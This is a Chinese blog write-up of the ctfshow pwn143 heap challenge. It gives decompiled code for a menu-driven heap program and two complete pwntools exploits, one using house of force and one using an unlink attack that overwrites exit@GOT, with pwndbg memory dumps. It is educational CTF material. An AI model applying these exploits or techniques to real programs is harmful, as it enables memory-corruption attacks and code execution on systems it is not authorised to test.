当前位置: 首页 > news >正文

CTFSHOW-PWN--house-of-force和UNLINK

CTFshow-pwn143

这个题,算是彻底懂了HOF了(house of force)和unlink
源代码

审计代码发现flllllaaaaag函数:作用是将flag写并且打印出来;

main函数:int __fastcall main(int argc, const char **argv, const char **envp){void (**v4)(void); // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v6; // [rsp+18h] [rbp-8h]​v6 = __readfsqword(0x28u);init(argc, argv, envp);logo();v4 = (void (**)(void))malloc(0x10uLL);*v4 = (void (*)(void))hello_message;v4[1] = (void (*)(void))goodbye_message;(*v4)();while ( 1 ){menu();read(0, buf, 8uLL);switch ( atoi(buf) ){case 1:show();break;case 2:add();break;case 3:edit();break;case 4:delete();break;case 5:v4[1]();exit(0);default:puts("Invaild choice!!!");break;}}}

以下是各个函数的伪代码

add__int64 add(){int i; // [rsp+4h] [rbp-1Ch]int v2; // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+18h] [rbp-8h]​v4 = __readfsqword(0x28u);if ( num > 99 ){puts("Full");}else{printf("Please enter the length:");read(0, buf, 8uLL);v2 = atoi(buf);if ( !v2 ){puts("Invaild length");return 0LL;}for ( i = 0; i <= 99; ++i ){if ( !*((_QWORD *)&unk_6020A8 + 2 * i) ){*((_DWORD *)&list + 4 * i) = v2;*((_QWORD *)&unk_6020A8 + 2 * i) = malloc(v2);printf("Please enter the name:");*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * i) + (int)read(0, *((void **)&unk_6020A8 + 2 * i), v2)) = 0;++num;return 0LL;}}}return 0LL;}

delete

unsigned __int64 delete()
{int v1; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]
​v3 = __readfsqword(0x28u);if ( num ){printf("Please enter the index:");read(0, buf, 8uLL);v1 = atoi(buf);if ( *((_QWORD *)&unk_6020A8 + 2 * v1) ){free(*((void **)&unk_6020A8 + 2 * v1));*((_QWORD *)&unk_6020A8 + 2 * v1) = 0LL;*((_DWORD *)&list + 4 * v1) = 0;puts("free successful!!");--num;}else{puts("invaild index");}}else{puts("No");}return __readfsqword(0x28u) ^ v3;
}

show

int show()
{int i; // [rsp+Ch] [rbp-4h]
​if ( !num )return puts("No");for ( i = 0; i <= 99; ++i ){if ( *((_QWORD *)&unk_6020A8 + 2 * i) )printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020A8 + 2 * i));}return puts(&byte_401137);
}

edit

unsigned __int64 edit()
{int v1; // [rsp+Ch] [rbp-24h]int v2; // [rsp+10h] [rbp-20h]char buf[8]; // [rsp+18h] [rbp-18h] BYREFchar nptr[8]; // [rsp+20h] [rbp-10h] BYREFunsigned __int64 v5; // [rsp+28h] [rbp-8h]
​v5 = __readfsqword(0x28u);if ( num ){printf("Please enter the index:");read(0, buf, 8uLL);v1 = atoi(buf);if ( *((_QWORD *)&unk_6020A8 + 2 * v1) ){printf("Please enter the length of name:");read(0, nptr, 8uLL);v2 = atoi(nptr);printf("Please enter the new name:");*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;}else{puts("Invaild index");}}else{puts("Nothing here~");}return __readfsqword(0x28u) ^ v5;
}

最后有个有意思的东西,选项5

  case 5:v4[1]();exit(0);

思路1-house of froce

我们可以在main看到,开局申请了个堆块,并且地址是v4;v4存了两个指针;其中v4[1]存的函数指针在选项5被再次调用,那么如果我们能修改这个指针为后门函数指针;那么我们就可以最后选择选项5来执行后门函数:

那么怎么实施呢?创建,删除,展示,都没有漏洞,但是修改函数存在:它可以让我们再次修改堆块大小和内容:那么就给了我们攻击的机会!!

这里用到了house of froce 手法,一种存在于2.28以前的攻击手法,将TOPchunk迁移到想要的地址,然后申请堆块就是我们需要修改的那块内存

那么这里我们需要修改v4[1]的内容;

首先迁移到v4,而v4实际上是一个堆块,那么就可以看到

hof1

计算TOPchunk_header到v4_header的距离:0x50

但是如果我们直接移到这里,我们需要malloc(-0x50);因为强制对齐的存在;那么此时实际上malloc(0xffffffffffffffffc0)我们所移动的距离小于我们需要的距离

所以我们需要malloc的大小x(req)应该满足

(x+0x8+0xf)&~0xf = 0xffffffffffffffff-0x50=0xffffffffffffffb0计算:x=0xffffffffffffffb0+k-0x17k_max = 0xf;那么,代入计算得;x = 0xffffffffffffffa8 = -0x58

所以这里我们需要知道我们实际上malloc的大小是-0x58(k=0xf) ~ -0x67(k=0)

所以,接下来就很简单了,直接将malloc(-0x58),将top chunk移动到v4;然后申请一个0x10大小的chunk,再填入pay=b’‘a’‘0x8+p64(shell);b’‘a’‘0x8为了覆盖v4[0],p64(shell)修改v4[1],,最后选择5,退出并且执行v4[1]指向的后门函数;
exp

最后exp

 from pwn import*​io=remote('pwn.challenge.ctf.show',28154)#io=process("./143")#gdb.attach(io)elf=ELF("./143")def add(len,name):io.sendlineafter("Your choice:",str(2))io.sendlineafter("Please enter the length:",str(len))io.sendlineafter("Please enter the name:",name)def dete(index):io.sendlineafter("Your choice:",str(4))io.sendlineafter("Please enter the index:",str(index))def edit(index,len,name):io.sendlineafter("Your choice:",str(3))io.sendlineafter("Please enter the index:",str(index))io.sendlineafter("Please enter the length of name:",str(len))io.sendlineafter("Please enter the new name:",name)def show():io.sendlineafter("Your choice:",str(1))​def bug():gdb.attach(io)pause()​add(0x20,b'aaaa')#0#bug()#TOPchunk-chunk0=0x50edit(0,80,b'a'*(0x20+8)+p64(0xffffffffffffffff))shell=0x0000000000400D83size=-(0x50+8)#size=-0x50#size = 0xffffffffffffffa8add(size,b'bbbb')​add(0x10,b'a'*8+p64(shell))#pause()io.sendlineafter("Your choice:",b'5')#io.interactive()

注意的点

这里有个注意的点,程序add对我们申请输入的长度做了限制:

  printf("Please enter the length:");read(0, buf, 8uLL);v2 = atoi(buf);

所以这在移动top chunk 的时候只能malloc (-0x58)而不能malloc(0xffffffffffffffa8)(过长了)

hof2

思路2-unlink

前面是一样的,主要解释我的攻击方式
exp

首先exp

add(0x100,b'aaaa')add(0x100,b'bbbb')add(0x100,b'bbbb')# bug()​exit_got = elf.got['exit']​fake_chunk_addr = 0x6020A8fd = fake_chunk_addr - 0x18bk = fake_chunk_addr - 0x10fake_chunk = p64(0) + p64(0x101)fake_chunk += p64(fd) + p64(bk)fake_chunk = fake_chunk.ljust(0x100,b'a')fake_chunk += p64(0x100) + p64(0x110)edit(0,len(fake_chunk),fake_chunk)​dete(1)# add(0x100,b'aaaa')# add(0x100,b'cccc')show_flag = 0x400D7Fpay = p64(0) + p64(0x100) + p64(0) + p64(fd) + p64(0) + p64(exit_got)edit(0,len(pay),pay)print(f'exit_got---->{hex(exit_got)}')print(f'show_flag---->{hex(show_flag)}')# gdb.attach(io)add(0x100,"0")pay1 = p64(show_flag)edit(1,len(pay1),pay1)io.sendlineafter("Your choice:",str(5))# pause()# bug()itr()

因为我不喜欢那么长的,所以我就贴主体部分
思路

首先,我们需要申请3个堆块,然后在chunk0里面fake_chunk,然后,再修改unk_6020A8这个数组的chunk1为exit_got,然后修改chunk1为后门函数(其实这里泄露libc地址打system(“/bin/sh\x00”)也行,只是我比较懒,不想打),然后需要注意一个点就是,需要注意申请的chunk的大小,要大于0x80,要不然进入fastbin,导致无法unlink(无法合并,prv_inuse_p == 1),

ok,一段一段解释

fake_chunk_addr = 0x6020A8fd = fake_chunk_addr - 0x18bk = fake_chunk_addr - 0x10fake_chunk = p64(0) + p64(0x101)fake_chunk += p64(fd) + p64(bk)fake_chunk = fake_chunk.ljust(0x100,b'a')fake_chunk += p64(0x100) + p64(0x110)edit(0,len(fake_chunk),fake_chunk)

这里将fake_chunk,但是需要注意chunk构造合法,就是fake_chunk应该是free状态,那么chunk1的prv_size应该是fake_chunk的大小,且chunk1的prv_inuse_P == 0,

效果如下

pwndbg> vis​0x9c19000   0x0000000000000000  0x0000000000000021  ........!.......0x9c19010   0x0000000000400857  0x0000000000400876  W.@.....v.@.....0x9c19020   0x0000000000000000  0x0000000000000111  ................chunk00x9c19030   0x0000000000000000  0x0000000000000101  ................fake_chunk0x9c19040   0x0000000000602090  0x0000000000602098  . `...... `.....0x9c19050   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19060   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19070   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19080   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19090   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c190a0   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c190b0   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c190c0   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c190d0   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c190e0   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c190f0   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19100   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19110   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19120   0x6161616161616161  0x6161616161616161  aaaaaaaaaaaaaaaa0x9c19130   0x0000000000000100  0x0000000000000110  ................chunk10x9c19140   0x0000000a62626200  0x0000000000000000  .bbb............0x9c19150   0x0000000000000000  0x0000000000000000  ................0x9c19160   0x0000000000000000  0x0000000000000000  ................0x9c19170   0x0000000000000000  0x0000000000000000  ................0x9c19180   0x0000000000000000  0x0000000000000000  ................0x9c19190   0x0000000000000000  0x0000000000000000  ................0x9c191a0   0x0000000000000000  0x0000000000000000  ................0x9c191b0   0x0000000000000000  0x0000000000000000  ................0x9c191c0   0x0000000000000000  0x0000000000000000  ................0x9c191d0   0x0000000000000000  0x0000000000000000  ................0x9c191e0   0x0000000000000000  0x0000000000000000  ................0x9c191f0   0x0000000000000000  0x0000000000000000  ................0x9c19200   0x0000000000000000  0x0000000000000000  ................0x9c19210   0x0000000000000000  0x0000000000000000  ................0x9c19220   0x0000000000000000  0x0000000000000000  ................0x9c19230   0x0000000000000000  0x0000000000000000  ................0x9c19240   0x0000000000000000  0x0000000000000111  ................chunk2

然后删除chunk1,从而触发unlink,

pwndbg> x/40gx 0x6020a80x6020a8 <list+8>:  0x0000000000602090  0x00000000000000000x6020b8 <list+24>: 0x0000000000000000  0x00000000000001000x6020c8 <list+40>: 0x000000003ad6b250  0x00000000000000000x6020d8 <list+56>: 0x0000000000000000  0x00000000000000000x6020e8 <list+72>: 0x0000000000000000  0x00000000000000000x6020f8 <list+88>: 0x0000000000000000  0x0000000000000000

发现原本应该chunk0的位置被修改为0x6020a8-0x18的位置,那么我们对chunk0的修改就是对0x6020a8-0x18这一块内存的修改,此时这里存储着chunk的指针,那么我们修改这些指针就可以达到修改堆块的内存的目的,比如,这里chunk0原本是某虚拟内存是一块,但是现在我们修改为0x6020a8-0x18附近的内存

同理,我们修改chunk1为exit_got的地址,那么到时候我们修改chunk1,就修改了exit_got的内容,从而控制实际执行exit的函数,

这里需要注意的一个点就是,申请堆块的函数

for ( i = 0; i <= 99; ++i ){if ( !*((_QWORD *)&unk_6020A8 + 2 * i) ){*((_DWORD *)&list + 4 * i) = v2;*((_QWORD *)&unk_6020A8 + 2 * i) = malloc(v2);printf("Please enter the name:");*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * i) + (int)read(0, *((void **)&unk_6020A8 + 2 * i), v2)) = 0;++num;return 0LL;}}

这里可以看的,实际上是一个结构体,

 struct{char *sizechar *prt//堆块返回的指针}

那么在unk_6020A8中两个堆块地址之间的距离就不是8,而是16,而隔8 的地址上是size,

那么我们的pay就出现了

 show_flag = 0x400D7Fpay = b'a'*0x18 + p64(fd) + p64(0) + p64(exit_got)edit(0,len(pay),pay)

效果

wndbg> x/40gx 0x6020a80x6020a8 <list+8>:  0x0000000000602090  0x00000000000000000x6020b8 <list+24>: 0x0000000000602068  0x00000000000001000x6020c8 <list+40>: 0x0000000018c11250  0x00000000000000000x6020d8 <list+56>: 0x0000000000000000  0x00000000000000000x6020e8 <list+72>: 0x0000000000000000  0x0000000000000000

然后讲chunk1申请回来并且修改为show_flag

add(0x100,"0")pay1 = p64(show_flag)edit(1,len(pay1),pay1)

效果

pwndbg> x/40gx 0x00000000006020680x602068 <exit@got.plt>:    0x0000000000400d7f  0x00000000000000000x602078:   0x0000000000000000  0x000075bebb9c56200x602088:   0x0000000000000000  0x6161616161616161

可以看到修改成功

最后触发exit()函数

io.sendlineafter("Your choice:",str(5))

拿到flag

)\xed\xfe\x7f111111111
)\xed\xfe\x7f111111111
)\xed\xfe\x7f111111111
)\xed\xfe\x7f[*] Got EOF while reading in interactive
$  

因为我是本地,我本地flag文件内容为

111111111

http://www.sczhlp.com/news/18707/

相关文章:

  • 萝岗免费网站建设seo 网站优化推广排名教程
  • 舟山的房子做民宿上什么网站百度广告联系方式
  • 建设机械官方网站网络整合营销是什么意思
  • 如何把网站建设好图片外链在线生成网址
  • 17网站一起做网店河北看广告收益的正规平台
  • 如何分析网站关键词下载百度地图2022最新版
  • 国外化妆品网站模板武汉seo外包平台
  • 烟台网站建设技术支持什么软件可以发布推广信息
  • 网站推广的工具重大新闻事件
  • 对抗性工程实践:利用AI自动化构建GitHub仓库的虚假提交历史
  • JavaScript - 对作用域、作用域链的理解?
  • 国家最新政策解读网站优化 推广
  • wordpress网站都有哪些怎么给客户推广自己的产品
  • 设计师国外网站seo描述是什么
  • 长沙小升初有什么做试卷的网站深企在线
  • 试用平台网站建设重庆百度推广的代理商
  • 德州网站建设哪一家好廊坊百度快照优化
  • CLR、托管、非托管 之四——补充内容
  • 合肥建站费用百度爱采购推广怎么收费
  • wordpress菜单添加首页南京百度快照优化排名
  • 集团网站开发企业网站定制开发
  • 企业网站建设好的案例aso优化排名违法吗
  • 做环境设计的网站项目网站
  • 网站开发的技术总结郑州计算机培训机构哪个最好
  • 网站的投资和建设项目今日头条新闻视频
  • 万网虚拟主机上传网站seo兼职接单平台
  • 河北省建设厅官方网站重庆seo排名公司
  • 网站 无限下拉北京十大最靠谱it培训机构
  • 仁怀哪儿做网站网络营销品牌公司
  • 网站文案案例网站排名查询